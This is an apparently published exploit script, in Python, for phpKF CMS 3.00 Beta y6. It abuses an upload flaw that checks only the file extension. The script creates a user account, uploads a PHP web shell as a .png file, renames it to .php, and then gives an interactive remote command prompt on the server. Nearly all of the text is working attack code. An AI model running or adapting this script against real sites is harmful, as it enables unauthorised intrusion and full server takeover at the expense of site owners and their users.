# Exploit Title: phpKF CMS 3.00 Beta y6 - Remote Code Execution (RCE) (Unauthenticated) # Date: 18/12/2021 # Exploit Author: Halit AKAYDIN (hLtAkydn) # Vendor Homepage: https://www.phpkf.com/ # Software Link: https://www.phpkf.com/indirme.php # Version: 3.00 # Category: Webapps # Tested on: Linux/Windows # phpKF-CMS; It is a very popular content management system for promotion, news, shopping, corporate, friends, blogs and more. # Contains an endpoint that allows remote access # Necessary checks are not made in the file upload mechanism, only the file extension is checked # The file with the extension ".png" can be uploaded and the extension can be changed. # Example: python3 exploit.py -u http://example.com # python3 exploit.py -u http://example.com -l admin -p Admin123 from bs4 import BeautifulSoup from time import sleep import requests import argparse import json def main(): parser = argparse.ArgumentParser(description='phpKF-CMS 3.00 Beta y6 - Remote Code Execution (Unauthenticated)') parser.add_argument('-u', '--host', type=str, required=True) parser.add_argument('-l', '--login', type=str, required=False) parser.add_argument('-p', '--password', type=str, required=False) args = parser.parse_args() print("\nphpKF-CMS 3.00 Beta y6 - Remote Code Execution (Unauthenticated)", "\nExploit Author: Halit AKAYDIN (hLtAkydn)\n") host(args) def host(args): #Check http or https if args.host.startswith(('http://', 'https://')): print("[?] Check Url...\n") sleep(2) args.host = args.host if args.host.endswith('/'): args.host = args.host[:-1] else: pass else: print("\n[?] Check Adress...\n") sleep(2) args.host = "http://" + args.host args.host = args.host if args.host.endswith('/'): args.host = args.host[:-1] else: pass # Check Host Status try: response = requests.get(args.host) if response.status_code == 200: if args.login == None and args.password == None: create_user(args) else: login_user(args) else: print("[-] Address not reachable!") sleep(2) except requests.ConnectionError as exception: print("[-] Address not reachable!") sleep(2) exit(1) def create_user(args): print("[*] Create User!\n") sleep(2) url = args.host + "/phpkf-bilesenler/kayit_yap.php" headers = { "Origin": args.host, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Referer": "http://fuzzing.com/uye-kayit.php", "Accept-Encoding": "gzip, deflate" } data = { "kayit_yapildi_mi": "form_dolu", "oturum": '', "kullanici_adi": "evil", "sifre": "Evil123", "sifre2": "Evil123", "posta": "evil@localhost.com", "kosul": "on" } response = requests.post(url, headers=headers, data=data, allow_redirects=True) args.login = ("evil") args.password = ("Evil123") print("[+] " + args.login + ":" + args.password + "\n") sleep(2) login_user(args) def login_user(args): url = args.host + "/uye-giris.php" headers = { "Origin": args.host, "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": args.host + "/uye-giris.php", "Accept-Encoding": "gzip, deflate" } data = { "kayit_yapildi_mi": "form_dolu", "git": args.host + "/index.php", "kullanici_adi": args.login, "sifre": args.password, "hatirla": "on" } response = requests.post(url, headers=headers, data=data, allow_redirects=False) token = response.cookies.get("kullanici_kimlik") if (token != None): print("[!] Login Success!\n") sleep(2) upload_evil(args, token) else: if args.login == "evil" and args.password == "Evil123": print("[!] Unauthorized user!\n") print("[!] manually add a user and try again\n") print("[!] Go to link " + args.host + "/uye-kayit.php\n") print("python3 exploit.py -u '"+ args.host +"' -l 'attacker' -p 'p@ssW0rd'") sleep(2) else: print("[!] Unauthorized user!\n") sleep(2) def upload_evil(args, token): url = args.host + "/phpkf-bilesenler/yukleme/index.php" cookies = { "kullanici_kimlik": token, "dil": "en" } headers = { "VERICEK": "", "DOSYA-ADI": "evil.png", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Content-type": "application/x-www-form-urlencoded; charset=utf-8", "Accept": "*/*", "Origin": args.host, "Referer": args.host + "/oi_yaz.php", "Accept-Encoding": "gzip, deflate" } data = "<?php if(isset($_GET['cmd'])){ $cmd = ($_GET['cmd']); system($cmd); die; } ?>" response = requests.post(url, headers=headers, cookies=cookies, data=data) if (response.text == "yuklendi"): print("[!] Upload Success!\n") sleep(2) change_name(args, token) else: print("[!] Upload Failed!\n") sleep(2) def change_name(args, token): url = args.host + "/phpkf-bilesenler/yukleme/index.php" cookies = { "kullanici_kimlik": token, "dil": "en" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Accept": "*/*", "Origin": args.host, "Referer": args.host + "/oi_yaz.php", "Accept-Encoding": "gzip, deflate" } data = { "yenidenadlandir": "evil.png|evil.php", "vericek": "/" } response = requests.post(url, headers=headers, cookies=cookies, data=data) if (response.text == "Name successfully changed..."): print("[!] Change Name evil.php!\n") sleep(2) find_dict(args, token) else: print("[!] Change Failed!\n") sleep(2) def find_dict(args, token): url = args.host + "/phpkf-bilesenler/yukleme/index.php" cookies = { "kullanici_kimlik": token, "dil": "en" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Accept": "*/*", "Origin": args.host, "Referer": args.host + "/oi_yaz.php", "Accept-Encoding": "gzip, deflate" } data = { "vericek": "/", "dds": "0" } response = requests.post(url, headers=headers, cookies=cookies, data=data) if (response.text == "You can not upload files!"): print("[!] File not found!\n") sleep(2) else: print("[!] Find Vuln File!\n") sleep(2) soup = BeautifulSoup(response.text, 'html.parser') path = soup.find("div").contents[1].replace(" ", "") exploit(args, path) def exploit(args, path): print("[+] Exploit Done!\n") sleep(2) while True: cmd = input("$ ") url = args.host + path + "evil.php?cmd=" + cmd headers = { "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0" } response = requests.post(url, headers=headers, timeout=5) if response.text == "": print(cmd + ": command not found\n") else: print(response.text) if __name__ == '__main__': main()